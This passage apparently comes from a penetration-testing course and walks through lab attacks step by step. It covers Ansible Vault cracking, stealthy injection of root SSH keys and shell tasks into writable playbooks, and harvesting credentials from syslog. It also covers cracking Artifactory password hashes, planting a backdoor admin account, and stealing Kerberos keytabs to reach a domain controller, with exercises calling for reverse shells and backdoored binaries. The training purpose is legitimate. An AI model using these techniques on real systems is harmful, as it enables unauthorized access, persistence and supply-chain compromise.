ansible2john utility included with JTR. This utility is included
with default Kali installations at the following location:
/usr/share/john/ansible2john.py.

Note that the original encrypted string needs
to be in the same format as shown above in Listing
39, but without any leading
whitespace shown or it will fail with parsing errors.

If we run ansible2john.py on the file, it returns a string in
a workable format for Hashcat to use.

kali@kali:~$ python3 /usr/share/john/ansible2john.py ./test.yml 
test.yml:$ansible$0*0*9661a952b5822af9a21068e7afae3a119ef0312276baf5bc29d6e3ef312029d0*87b6c306f61e89b5c586bd7e182f2806*28870193b1e448c6b45b68766bb731c3bcb77852f7ca54114d70d52121101540

Listing 40 - Converting our
Ansible Vault encrypted string to a crackable format

We'll copy the string returned in Listing
40 after the initial filename
and colon character into a new file called testhash.txt.

Now we can run hashcat on our file to crack the vault
password using the rockyou.txt wordlist.

kali@kali:~$ hashcat testhash.txt --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
...
* Device #1: Kernel amp_a0.7da82001.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

$ansible$0*0*9661a952b5822af9a21068e7afae3a119ef0312276baf5bc29d6e3ef312029d0*87b6c306f61e89b5c586bd7e182f2806*28870193b1e448c6b45b68766bb731c3bcb77852f7ca54114d70d52121101540:spongebob
...

Listing 41 - Cracked the vault password

As indicated in the highlighted result above, Hashcat was able to
crack the vault password.

Back on our controller VM, we can copy the original encrypted vault
string into a text file and pipe it to ansible-vault decrypt.
We're prompted for our vault password ("spongebob") and then vault
will provide us with the original, unencrypted password stored in the
playbook for the offsec user.

ansibleadm@controller:/opt/playbooks$ cat pw.txt
$ANSIBLE_VAULT;1.1;AES256
39363631613935326235383232616639613231303638653761666165336131313965663033313232
3736626166356263323964366533656633313230323964300a323838373031393362316534343863
36623435623638373636626237333163336263623737383532663763613534313134643730643532
3132313130313534300a383762366333303666363165383962356335383662643765313832663238
3036

ansibleadm@controller:/opt/playbooks$ cat pw.txt | ansible-vault decrypt
Vault password: 
lab
Decryption successful

Listing 42 - Decrypted the original encrypted password

Decrypting encrypted files (as opposed to strings) is essentially the
same process, since files are encrypted using the same encryption
scheme.

Weak Permissions on Ansible Playbooks

Another option we have at our disposal for exploiting Ansible
environments is to take advantage of playbooks that we have write
access to.

If the playbook files used on the controller have world-writable
permissions or if we can find a way to write to them (perhaps through
an exploit), we can inject tasks that will then be run the next time
the playbook is run.

In the controller VM, the playbook
/opt/playbooks/getinfowritable.yaml has lax permissions,
allowing anyone within the "ansible" group to write to it.

In this particular scenario, we assume we have compromised the
bystander account, which is in the "ansible" group. Because of this,
the user has write access to the playbooks folder through
group permissions. If we log in to the controller as bystander, we
can edit the getinfowritable.yaml playbook.

Let's modify the file by adding few tasks to it.

---
- name: Get system info
  hosts: all
  gather_facts: true
  become: yes
  tasks:
    - name: Display info
      debug:
          msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"

    - name: Create a directory if it does not exist
      file:
        path: /root/.ssh
        state: directory
        mode: '0700'
        owner: root
        group: root

    - name: Create authorized keys if it does not exist
      file:
        path: /root/.ssh/authorized_keys
        state: touch
        mode: '0600'
        owner: root
        group: root

    - name: Update keys
      lineinfile:
        path: /root/.ssh/authorized_keys
        line: "ssh-rsa AAAAB3NzaC1...Z86SOm..."
        insertbefore: EOF

Listing 43 - Rogue tasks added to
the playbook

We could completely overwrite the playbook if we wanted to, but that
would change its intended functionality. This behavior is likely to
be noticed by the administrator, especially if the playbook is run
frequently. It's much more discreet to keep the original functionality
intact, tack on several new tasks, and add the become value to
ensure the playbook is run as root.

The first task we inserted creates the /root/.ssh folder and
sets the appropriate permissions on it. The second task creates the
authorizedkeys file and sets its permissions. The last task
copies our public key into the _root
user's authorized_keys
file, appending it to the end if the file already exists. In this
case, we've used the public key from our Kali VM.

If the playbook is run by the ansibleadm user, our key is added to
the root user's account on the linuxvictim host. Once it is added,
we are able to SSH to the linuxvictim machine from our Kali VM as
root.

kali@kali:~$ ssh root@linuxvictim
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@linuxvictim:~# 

Listing 44 - Logging in as
root with our Kali VM's SSH key

There may be a situation where we want to run shell commands
directly on the machine. To do this, we insert the commands we
want to run in a command[806] Ansible task in the
getinfowritable.yaml playbook we used earlier.

    - name: Run command
      shell: touch /tmp/mycreatedfile.txt
      async: 10
      poll: 0

Listing 45 - Running our
shell command as a command task

There are a few unfamiliar options here: async, poll, and shell.
Typically, when an Ansible playbook is run, it "blocks" or waits for
a response to report back to the controller.[807] If we
specify the async parameter with any timeout value, the command
will run asynchronously. The timeout value is disregarded because the
poll setting of 0 makes the async value irrelevant. This tells
Ansible not to poll the process for results but just let it run on its
own until the execution of the playbook is complete.

The shell value specifies the shell command we want to run.

If we run the playbook as before, then check the /tmp
directory on the linuxvictim host, we notice that the command was run
successfully.

offsec@linuxvictim:~$ ls -al /tmp/mycreatedfile.txt
-rw-r--r-- 1 root root 0 Sep 24 14:05 /tmp/mycreatedfile.txt

Listing 46 - Our shell command executed successfully

Sensitive Data Leakage via Ansible Modules

Another way that Ansible can be useful for lateral movement is through
sensitive data leaks. Although there are protections for credentials
and sensitive data being used in module parameters in Ansible
playbooks, some modules leak data to /var/log/syslog[808]
in the form of module parameters. This happens when the set of a
module's parameters are not fixed and can potentially change depending
on how the module is being run.

A good example of this is the shell[809] Ansible module.
Let's imagine a scenario where an Ansible administrator wants to run
a playbook on a managed node to make a database backup from a remote
server. An example playbook might look something like this.

ansibleadm@controller:/opt/playbooks$ cat mysqlbackup.yml 
---
- name: Backup TPS reports
  hosts: linuxvictim
  gather_facts: true
  become: yes
  tasks:
    - name: Run command
      shell: mysql --user=root --password=hotdog123 --host=databaseserver --databases tpsreports --result-file=/root/reportsbackup
      async: 10 
      poll: 0

Listing 47 - Shell module
playbook example

The shell line above shows that the playbook will attempt to connect
to a server called databaseserver (in our case, this server doesn't
exist but is used for illustration purposes) and dump the tpsreports
database to a file on the linuxvictim Ansible node.

In this case, because the process is automated and will run
frequently, the administrator placed the username and password
directly into the playbook.

It should be clear to us by now why this is bad practice. System
administrators sometimes consider plain text password inclusion to
be "safe enough" in a context like this one, because the script is
readable only for the Ansible administrator user and root.

When the Ansible administrator runs the playbook on the node (our
linuxvictim machine), it attempts to connect to the MySQL server
and dump the database. However, because of how it is executed, the
playbook will log the shell command to syslog by default. An exception
to this is when the no_log option is set to true in the playbook.

It can be useful to grep the /var/log/syslog file for keywords
like "password" to find these sorts of leaked secrets.

Let's log in to the linuxvictim host as offsec and examine the
contents of /var/log/syslog.

offsec@linuxvictim:~$ cat /var/log/syslog
...
Jun  8 13:29:10 linuxvictim ansible-command: Invoked with creates=None executable=None _uses_shell=True strip_empty_ends=True _raw_params=mysql --user=root --password=hotdog123 --host=databaseserver --databases tpsreports --result-file=/root/reportsbackup removes=None argv=None warn=True chdir=None stdin_add_newline=True stdin=None
Jun  8 13:29:10 linuxvictim ansible-async_wrapper.py: Module complete (21772)
...

Listing 48 - Examining Syslog

The username, password, and host for the MySQL database are all
exposed in the log entry. With this information, we now have access to
the MySQL database on the remote server. We can gather more sensitive
information and potentially pivot to that host as well.

While these techniques won't work in every Ansible infrastructure
instance, they can provide some guidance in what to look for when
we encounter automated IT configuration engines during a penetration
test.

Exercises

  1. Execute an ad-hoc command from the controller against the
    linuxvictim host.
  2. Write a short playbook and run it against the linuxvictim host to
    get a reverse shell.
  3. Inject a shell command task into the getinfowritable.yml
    playbook we created earlier and use it to get a Meterpreter shell
    on the linuxvictim host without first copying the shell to the
    linuxvictim host via SSH or other protocols.

Introduction to Artifactory

Artifactory[810] is a "binary repository manager" that
stores software packages and other binaries. Other binary repository
managers include Apache Archiva,[811] SonaType Nexus,[812]
CloudRepo,[813] or Cloudsmith.[814] As with Ansible
for DevOps, we'll focus only on Artifactory as we've encountered it
frequently during penetration testing engagements. Most of the time,
the same general concepts explained in this section can be applied to
different products.

Binary repository managers act as a "single source of truth" for
organizations to be able to control which versions of packages and
applications are being used in software development or infrastructure
configuration. This prevents developers from getting untrusted or
unstable binaries directly from the Internet.

Users with write access to Artifactory can place packages or binaries
in the Artifactory server. End users or automated processes can
have Artifactory configured as a package repository to be used in a
normal installation process on Linux or can pull files directly from
Artifactory when needed.

Because Artifactory is meant to be a single source for acquiring
necessary binaries, it is a prime target for supply chain compromise
attacks.[815] If an attacker can compromise the Artifactory
server or get access to an Artifactory user's account that has write
access to important packages, there is potential to compromise a large
number of users.

Artifactory is also an excellent target because it is considered a
trusted source. As such, there is less concern on the part of the
users about the potential for malicious activity.

Normally, Artifactory would be run on a production system as a service.
Unfortunately, the service is resource-intensive. To conserve resources
for other activities in the module, we'll start and stop it as needed
and run it as a daemon process only.

The open-source version of Artifactory is installed on the controller
VM in the /opt/jfrog directory. We can run it as a daemon
process through the artifactoryctl start command.

offsec@controller:/opt/jfrog$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl start
2020-06-01T14:24:17.138Z [shell] [INFO ] [] [installerCommon.sh:1162       ] [main] - Checking open files and processes limits
2020-06-01T14:24:17.157Z [shell] [INFO ] [] [installerCommon.sh:1165       ] [main] - Current max open files is 1024
...
Using JRE_HOME:        /opt/jfrog/artifactory/app/third-party/java
Using CLASSPATH:       /opt/jfrog/artifactory/app/artifactory/tomcat/bin/bootstrap.jar:/opt/jfrog/artifactory/app/artifactory/tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/jfrog/artifactory/app/run/artifactory.pid
Tomcat started.

Listing 49 - Starting the
Artifactory process

It's possible to stop the service using the following command:
sudo /opt/jfrog/artifactory/app/bin/artifactoryctl stop

Let's take a few moments to become familiar with Artifactory and
how it works before we begin our attack. We can access the login page
at http://controller:8082/ and log in with "admin" as the
username and "password123" as the password.

Figure 1: Initial Artifactory login

While the commercial version of Artifactory supports a variety of
repository types (including Debian packages), the open-source version
is limited. The version of Artifactory we're using only offers
Gradle,[816] Ivy,[817] Maven,[818] SBT,[819] and Generic
repository types.

Gradle, Maven, and SBT are all software build systems or tools and Ivy
is a dependency manager for software builds. The Generic repository
is for generic binaries of a non-specified type, essentially a simple
file store.

In the lab environment, we can examine a generic repository called
"generic-local".

We can access it by clicking to Artifactory > Artifacts on the
left sidebar.

Figure 2: Navigating to the generic repository

The Set Me Up button at the top right of the page gives information
about how to use Curl to upload and download binaries to the
repository.

There is also a Deploy button that will let us upload files to the
repository and specify the paths we want users to access to download
them.

Both the Set me Up and Deploy buttons are highlighted in Figure
3.

Figure 3: Set Me Up and Deploy options

Clicking on generic-local expands the tree where we find a "vi"
artifact listed. If we click on it, we can inspect various statistics
about the file, such as the download path, who it was deployed by,
when it was created and last modified, and how many times it's been
downloaded.

Figure 4: A binary in our repository

Now that we have a working knowledge of Artifactory, its interface, and
how to use it, let's take a look at potential exploits.

Artifactory Enumeration

It's fairly easy to determine whether an Artifactory repository
is running on a target system. We can simply grep the list of
running processes for the word "artifactory" with ps aux | grep
artifactory. This will give a number of results including paths
to the Artifactory service's binaries.

If we've not yet gained access to the machine, we can try accessing
the server externally from a web browser at port 8081, which is the
default port for Artifactory's web interface.

Compromising Artifactory Backups

Even if we can get root access to the repository server,
that doesn't necessarily mean we have access to the Artifactory
application, which has its own authentication mechanism.

Let's explore a situation in which we have root access to the server,
but we do not have Artifactory credentials.

At first glance, it may seem logical to try and replace artifact
binaries on disk wherever they are stored. However, it is difficult to
identify the files we want because they are not stored by name, but by
their file hash.

root@controller:/opt/jfrog/artifactory/var/data/artifactory/filestore/37# ls -al
total 2624
drwxr-x--- 2 root root    4096 Jun  9 11:18 .
drwxr-x--- 4 root root    4096 Jun  9 11:18 ..
-rw-r----- 1 root root 2675336 Jun  9 11:18 37125c1c4847ee56d5aaa2651c825cc3c2c781c5

Listing 50 - Artifact binaries stored by hash

Additionally, if we replace the binary on disk with something else and
then log into Artifactory and retrieve it, we notice that the file is
not changed in the repository, so there are other mechanisms in place
to maintain file integrity.

Replacing the binaries doesn't seem like a viable option at this
time. Let's examine a different approach.

Artifactory stores its user information, such as usernames and
encrypted passwords, in databases as most applications do. The
database depends on the configuration and version of Artifactory.

Larger organizations with a commercial version of Artifactory may use
Postgres databases. The open-source version of Artifactory defaults
to an included Apache Derby[820] database. This doesn't necessarily
represent all potential configurations, but the general concepts
needed for this exploit are essentially the same regardless of which
database is being used.

We have two options to use the database to compromise
Artifactory. The first is through backups. Depending on the
configuration,[821] Artifactory creates backups of
its databases. The open-source version of Artifactory creates
database backups for the user accounts at /<ARTIFACTORY
FOLDER>/var/backup/access in JSON format.

We can inspect the user entries by reading the contents of one of
these files in the controller VM.

root@controller:/opt/jfrog/artifactory/var/backup/access# cat access.backup.20200730120454.json
...
{
    "username" : "developer",
    "firstName" : null,
    "lastName" : null,
    "email" : "developer@corp.local",
    "realm" : "internal",
    "status" : "enabled",
    "lastLoginTime" : 0,
    "lastLoginIp" : null,
    "password" : "bcrypt$$2a$08$f8KU00P7kdOfTYFUmes1/eoBs4E1GTqg4URs1rEceQv1V8vHs0OVm",
    "allowedIps" : [ "*" ],
    "created" : 1591715957889,
    "modified" : 1591715957889,
    "failedLoginAttempts" : 0,
    "statusLastModified" : 1591715957889,
    "passwordLastModified" : 1591715957889,
    "customData" : {
      "updatable_profile" : {
        "value" : "true",
        "sensitive" : false
      }
...

Listing 51 - Contents of a
database backup file

These files have full entries for each user along with their passwords
hashed in bcrypt[822] format.

We can copy the bcrypt hashes to our Kali VM, place them in a text
file, and use John the Ripper (or Hashcat) to try and crack them.

kali@kali:~$ sudo john derbyhash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
...

Listing 52 - Cracking the database
backup's hashes

According to the output, JTR was able to crack the hash and we
retrieved the developer user's password.

Compromising Artifactory's Database

Now that we know how to retrieve user credentials from backup files,
let's explore a different vector. If there are no backup files
available, we can access the database itself or attempt to copy it and
extract the hashes manually. As we mentioned previously, this would
assume a scenario where we have elevated privileges but want to get
access to Artifactory itself.

The open-source version of Artifactory we're using locks its Derby
database while the server is running. We could attempt to remove the
locks and access the database directly to inject users, but this is
risky and often leads to corrupted databases. A safer option is to
copy the entire database to a new location.

Third-party databases do not always have this restriction.
If we can gain access to the database, it may be possible
to create users manually by creating new records in the users
table.[823]

In the controller VM, the database containing the user information is
located at /opt/jfrog/artifactory/var/data/access/derby.

Let's create a new directory and copy the database to a temporary
location.

We'll create a temporary folder in /tmp for the database. We
then copy the database from the original location and remove any lock
files that exist from the database being in use when it was copied.

offsec@controller:~$ mkdir /tmp/hackeddb

offsec@controller:~$ sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/hackeddb

offsec@controller:~$ sudo chmod 755 /tmp/hackeddb/derby

offsec@controller:~$ sudo rm /tmp/hackeddb/derby/*.lck

Listing 53 - Copying the database

Since Artifactory is using Derby as its default database, we'll need
Apache's Derby tools to be able to connect to it. More specifically,
the ij command line tool, which allows the user to access a Derby
database and perform queries against it. The Derby tools are already
installed on the controller at /opt/derby, but they can also
be downloaded[824] if necessary.

Fortunately for us, the default database does not require a username
and password and relies on file permissions to protect it. Because we
have root privileges, we can connect without problems.

Artifactory contains its own version of Java and we can use it to run
the Derby connection utilities and connect to our database.

offsec@controller:~$ sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-10.15.1.3-bin/lib/derbyrun.jar ij
ij version 10.15
ij> connect 'jdbc:derby:/tmp/hackeddb/derby'; 
ij>

Listing 54 - Running the Derby connection utility

The first part of the command calls the embedded version of Java
included as part of Artifactory. We're specifying that we want to
run the derbyrun.jar JAR file. The ij parameter
indicates that we want to use Apache's ij[825] tool to access the
database.

The utility presents us with a simple prompt. It uses SQL syntax
commands to manipulate the database. We will run the following command
to list the users in the system.

ij> select * from access_users;
USER_ID |USERNAME |PASSWORD |ALLOWED_IPS |CREATED |MODIFIED |FIRSTNAME |LASTNAME |EMAIL |REALM |STATUS |LAST_LOGIN_TIME |LAST_LOGIN_IP |FAILED_ATTEMPTS |STATUS_LAST_MODIFIED| PASSWORD_LAST_MODIF&
...
1 |admin |bcrypt$$2a$08$3gNs9Gm4wqY5ic/2/kFUn.S/zYffSCMaGpshXj/f/X0EMK.ErHdp2 |127.0.0.1 |1591715727140 |1591715811546 |NULL |NULL |NULL |internal |enabled |1596125074382 |192.168.118.5 |0 |1591715811545 |1591715811545       
...    
3 |developer |bcrypt$$2a$08$f8KU00P7kdOfTYFUmes1/eoBs4E1GTqg4URs1rEceQv1V8vHs0OVm |* |1591715957889 |1591715957889 |NULL |NULL |developer@corp.local |internal |enabled |0 |NULL |0 |1591715957889 |1591715957889       

3 rows selected
ij> 

Listing 55 - Listing the users

The command selects all records from the access_users table, which
holds the user records for the Artifactory system.

Each record includes the bcrypt-hashed passwords of the users we found
earlier in our database backup file approach. As we did previously, we
can crack the hashes using Hashcat or John the Ripper on our Kali VM.

Adding a Secondary Artifactory Admin Account

In addition to the vectors we've already explored, we can also gain
access to Artifactory by adding a secondary administrator account
through a built-in backdoor. If an administrator account is corrupted,
or they lose access to the system, Artifactory offers an alternative
option for gaining administrative access. This method will require
restarting the Artifactory process, meaning there is some risk of data
corruption or production downtime. As a result, this may not be an
appropriate solution for all engagements.

This method requires write access to the
/opt/jfrog/artifactory/var/etc/access folder and the ability
to change permissions on the newly-created file, which usually
requires root or sudo access.

To demonstrate this method, we'll log in to the
controller server as offsec and navigate to the
/opt/jfrog/artifactory/var/etc/access folder. We then need to
create a file through sudo called bootstrap.creds with the
following content.

haxmin@*=haxhaxhax

Listing 56 - Adding backdoor
admin account

This will create a new user called "haxmin" with a password of
"haxhaxhax". Next, we'll need to chmod the file to 600.

offsec@controller:/opt/jfrog$ sudo chmod 600 /opt/jfrog/artifactory/var/etc/access/bootstrap.creds

Listing 57 - Changing the file permissions

For this user to be created, we need to restart the Artifactory
process. Because Artifactory is being run as a daemon process, we can
stop it and then restart it using the following commands.

offsec@controller:/opt/jfrog$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl stop
Using the default catalina management port (8015) to test shutdown
Stopping Artifactory Tomcat...
...
router is running (PID: 12434). Stopping it...
router stopped

offsec@controller:/opt/jfrog$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl start
2020-06-01T14:38:16.769Z [shell] [INFO ] [] [installerCommon.sh:1162       ] [main] - Checking open files and processes limits
2020-06-01T14:38:16.785Z [shell] [INFO ] [] [installerCommon.sh:1165       ] [main] - Current max open files is 1024
...
Using CATALINA_PID:    /opt/jfrog/artifactory/app/run/artifactory.pid
Tomcat started.

Listing 58 -
Restarting the Artifactory process

During the restart stage, Artifactory will load our bootstrap
credential file and process the new user. We can verify this by
examining the /opt/jfrog/artifactory/var/log/console.log file
for the string "Create admin user".

offsec@controller:~$ sudo grep "Create admin user" /opt/jfrog/artifactory/var/log/console.log
2020-05-15T19:22:24.963Z [jfac ] [INFO ] [c576b641d3d536c8] [a.s.b.AccessAdminBootstrap:160] [ocalhost-startStop-2] - [ACCESS BOOTSTRAP] Create admin user 'haxmin'

Listing 59 -
Successfully added our new admin user

Once Artifactory is running again, we can log in with our newly-created
account.

Figure 5: Logged in as haxmin

We now have admin access to Artifactory and can modify binaries as we
see fit.

In a real-world scenario, if the user was using Artifactory as a
repository, running an update on their local system would trigger a
download of the updated binary. The next time the binary is run by the
user, they would be compromised. The same would occur if Artifactory
was being used as a simple file store for shared binary files. Any
subsequent downloads of our updated file would result in the user
being compromised.

Artifactory is an excellent option for compromising many targets in
a single effort and can help to expand access significantly within an
internal network.

Exercises

  1. Copy the Artifactory database and extract, then crack, the user
    hashes.
  2. Log in to Artifactory and deploy a backdoored binary. Download and
    run it as a normal user on linuxvictim.

Kerberos on Linux

Kerberos uses the same underlying technology on Linux as it does on
Windows, but it does behave differently in some respects. In the next
section, we'll explore how Kerberos works on Linux, and how to exploit
it.

General Introduction to Kerberos on Linux

Kerberos is a well-known option for authentication on Windows
networks, but it can also be used on Linux networks using
Linux-specific Key Distribution Center servers. Alternatively, Linux
clients can authenticate to Active Directory servers via Kerberos as a
Windows machine would. Let's explore this scenario in this section.

As before, we'll begin by demonstrating standard Kerberos usage. This
demonstration will help us understand potential exploits.

In our lab setup, the linuxvictim lab machine is domain joined to
corp1.com. Active Directory users can log in to the linuxvictim
machine with their Active Directory credentials.

Let's imagine a scenario in which the corp1.com domain admin logs in
to our linuxvictim host using their AD password. In order to use
Kerberos, the administrator can log in to the system using their AD
credentials and then request Kerberos tickets.

Although a Domain Administrator would likely be doing these actions
from a Windows machine, for simplicity, we will log in to the
linuxvictim system from our Kali VM.

kali@kali:~$ ssh administrator@corp1.com@linuxvictim
administrator@corp1.com@linuxvictim's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
Last login: Thu May  7 10:14:24 2020 from 192.168.119.120
administrator@corp1.com@linuxvictim:~$ 

Listing 60 - SSH connection to
linuxvictim using AD credentials

Active Directory members using Kerberos authentication are assigned
a credential cache file to contain their requested Kerberos tickets.
The file's location is set through the user's KRB5CCNAME[826]
environment variable.

In the linuxvictim VM, we can find the administrator's credential
cache file by examining the list of environment variables with
env and filtering out the one we want with grep.

administrator@corp1.com@linuxvictim:~$ env | grep KRB5CCNAME
KRB5CCNAME=FILE:/tmp/krb5cc_607000500_3aeIA5

Listing 61 -
Credential cache file path environment variable

We'll make a note of this credential cache file location for later
use.

Kerberos tickets expire after a period of time. As a result, in order
to practice exploiting them, we'll walk through how to request them
from the server using an Active Directory account. We'll use the
domain administrator account we logged in with earlier.

We will use the kinit[827] command, which is used to acquire a
Kerberos ticket-granting ticket (TGT) for the current user. To request
a TGT, we just need to call kinit without parameters and
enter the user's AD password.

administrator@corp1.com@linuxvictim:~$ kinit

Password for Administrator@CORP1.COM: 

Listing 62 - Getting a
TGT

The klist[828] command is used to list tickets currently stored
in the user's credential cache file. If we run it, we find that we now
have our TGT set in the Administrator user's credential cache.

administrator@corp1.com@linuxvictim:~$ klist
Ticket cache: FILE:/tmp/krb5cc_607000500_wSiMnP
Default principal: Administrator@CORP1.COM

Valid starting       Expires              Service principal
05/18/2020 15:12:38  05/19/2020 01:12:38  krbtgt/CORP1.COM@CORP1.COM
	renew until 05/25/2020 15:12:36

Listing 63 - Listing
current tickets in the user's cache

This means we have a ticket-granting ticket for the Administrator user
of the CORP1 domain.

If we want to discard all cached tickets for the current user, we
can use the kdestroy[829] command without parameters.

We can now access Kerberos services as the domain administrator.
We can get a list of available Service Principal Names (SPN) from
the domain controller using ldapsearch with the -Y
GSSAPI parameter to force it to use Kerberos authentication. It
may ask for an LDAP password, but if we just hit enter at the prompt,
it will continue and use Kerberos for authentication.

administrator@corp1.com@linuxvictim:~$ ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "Administrator@CORP1.COM" -W -b "dc=corp1,dc=com" "servicePrincipalName=*" servicePrincipalName
Enter LDAP Password: 
SASL/GSSAPI authentication started
SASL username: Administrator@CORP1.COM
...
# DC01, Domain Controllers, corp1.com
dn: CN=DC01,OU=Domain Controllers,DC=corp1,DC=com
servicePrincipalName: TERMSRV/DC01
servicePrincipalName: TERMSRV/DC01.corp1.com
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.corp1.com
servicePrincipalName: ldap/DC01.corp1.com/ForestDnsZones.corp1.com
servicePrincipalName: ldap/DC01.corp1.com/DomainDnsZones.corp1.com
servicePrincipalName: DNS/DC01.corp1.com
servicePrincipalName: GC/DC01.corp1.com/corp1.com
servicePrincipalName: RestrictedKrbHost/DC01.corp1.com
servicePrincipalName: RestrictedKrbHost/DC01
servicePrincipalName: RPC/8c186ffa-f4e6-4c8a-9ea9-67ca49c31abd._msdcs.corp1.co
 m
...
# SQLSvc, Corp1ServiceAccounts, Corp1Users, corp1.com
dn: CN=SQLSvc,OU=Corp1ServiceAccounts,OU=Corp1Users,DC=corp1,DC=com
servicePrincipalName: MSSQLSvc/DC01.corp1.com:1433
servicePrincipalName: MSSQLSvc/DC01.corp1.com:SQLEXPRESS
servicePrincipalName: MSSQLSvc/appsrv01.corp1.com:1433
servicePrincipalName: MSSQLSvc/appsrv01.corp1.com:SQLEXPRESS
...
# numResponses: 10
# numEntries: 6
# numReferences: 3

Listing 64 - List SPNs available
using Kerberos authentication

Let's request a service ticket from Kerberos for the MSSQL SPN
highlighted above. We can do this using the kvno utility.

administrator@corp1.com@linuxvictim:/tmp$ kvno MSSQLSvc/DC01.corp1.com:1433
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2

Listing 65 - Getting a
service ticket

Our ticket should now be in our credential cache. We can use
klist again to confirm it was successful.

administrator@corp1.com@linuxvictim:/tmp$ klist
Ticket cache: FILE:/tmp/krb5cc_607000500_3aeIA5
Default principal: Administrator@CORP1.COM

Valid starting       Expires              Service principal
07/30/2020 15:11:10  07/31/2020 01:11:10  krbtgt/CORP1.COM@CORP1.COM
        renew until 08/06/2020 15:11:08
07/30/2020 15:11:41  07/31/2020 01:11:10  ldap/dc01.corp1.com@CORP1.COM
        renew until 08/06/2020 15:11:08
07/30/2020 15:11:57  07/31/2020 01:11:10  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM
        renew until 08/06/2020 15:11:08

Listing 66 - Service
ticket was acquired successfully

We can now access the MSSQL service and perform authenticated actions.

Now that we've covered how Kerberos works in legitimate scenarios,
let's discuss a few attack vectors. We'll discuss a few
scenarios and then how to exploit them.

Stealing Keytab Files

One way to allow automated scripts to access Kerberos-enabled network
resources on a user's behalf is through the use of keytab[830]
files. Keytab files contain a Kerberos principal name and encrypted
keys. These allow a user or script to authenticate to Kerberos
resources elsewhere on the network on the principal's behalf without
entering a password.

For example, let's assume a user wants to retrieve data from an MSSQL
database via an automated script using Kerberos authentication.The
user could create a keytab file for the script to authenticate against
the server with their credentials and then retrieve the information on
their behalf.

Keytab files are commonly used in cron[831] scripts when Kerberos
authentication is needed to access certain resources. We can examine
the contents of files like /etc/crontab to determine which
scripts are being run and then examine those scripts to see whether
they are using keytabs for authentication. Paths to keytab files used
in these scripts may also reveal which users are associated with which
keytabs.

Let's create a sample demonstration keytab for our domain
Administrator.

We'll run the ktutil[832] command, which provides us with
an interactive prompt. Then we use addent to add an entry to
the keytab file for the administrator user and specify the encryption
type with -e. The utility asks for the user's password, which
we provide. We then use wkt with a path to specify where the
keytab file should be written. Finally, we can exit the utility with
the quit command.

administrator@corp1.com@linuxvictim:~$ ktutil
ktutil:  addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac
Password for administrator@CORP1.COM: 

ktutil:  wkt /tmp/administrator.keytab

ktutil:  quit

Listing 67 - Creating a keytab file

This will write the keytab file to /tmp/administrator.keytab.

This keytab file grants domain administrator rights to scripts or
users that have read access to it.

However, let's imagine a scenario where we've gotten root access to
this box. If we discover the keytab file, we can use it maliciously
to gain access to other systems as the domain administrator. To use
the file in a script run by the root user, we will use the following
syntax.

root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab

Listing 68 - Loading a keytab
file

Using the klist command, we can verify that the tickets from
the keytab have been loaded into our root account's credential cache
file.

root@linuxvictim:~# klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: administrator@CORP1.COM

Valid starting       Expires              Service principal
07/30/2020 15:18:34  07/31/2020 01:18:34  krbtgt/CORP1.COM@CORP1.COM
        renew until 08/06/2020 15:18:34

Listing 69 - Viewing our
loaded TGT file from the keytab

If it's been a while since the tickets were created, they may have
expired. However, if it's within the renewal timeframe, we can
renew it without entering a password using kinit with the
-R flag.

root@linuxvictim:~# kinit -R

Listing 70 - Renewing an expired
TGT

Normally, keytab files would be written somewhere safe such as the
user's home folder. In our case, since we've compromised the server
entirely and have root access, the location wouldn't matter.

Some users will set weak keytab file permissions for ease of
use or for sharing with other accounts, so it's worthwhile to check
for readable keytabs if Kerberos is in use on the system.

Now that our root user has the keytab files loaded, we can
authenticate as the domain admin and access any resources they have
access to.

Let's attempt to access the domain controller's C drive.

root@linuxvictim:~# smbclient -k -U "CORP1.COM\administrator" //DC01.CORP1.COM/C$
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> ls
  $Recycle.Bin                      DHS        0  Sat Sep 15 03:19:00 2018
  Documents and Settings            DHS        0  Tue Jun  9 13:50:42 2020
  pagefile.sys                      AHS 738197504  Fri Oct  2 11:25:15 2020
  PerfLogs                            D        0  Mon Jun 15 15:04:37 2020
  Program Files                      DR        0  Mon Jun 15 08:10:03 2020
  Program Files (x86)                 D        0  Tue Jun  9 08:43:21 2020
  ProgramData                        DH        0  Mon Jun 15 15:04:37 2020
  Recovery                          DHS        0  Tue Jun  9 13:50:45 2020
  SQL2019                             D        0  Tue Jun  9 08:34:53 2020
  System Volume Information         DHS        0  Tue Jun  9 07:38:26 2020
  Tools                               D        0  Mon Jun 15 08:09:24 2020
  Users                              DR        0  Mon Jun 15 15:22:49 2020
  Windows                             D        0  Mon Jun 15 15:04:45 2020

                6395903 blocks of size 4096. 2185471 blocks available

Listing 71 - Accessing the domain controller's C drive as the domain admin

Success! We can use our stolen keytab to access the domain controller
using Kerberos authentication.

Exercise

  1. Log in to the linuxvictim machine as the domain administrator,
    create a keytab, then log in as root in a different SSH session and
    steal the keytab.

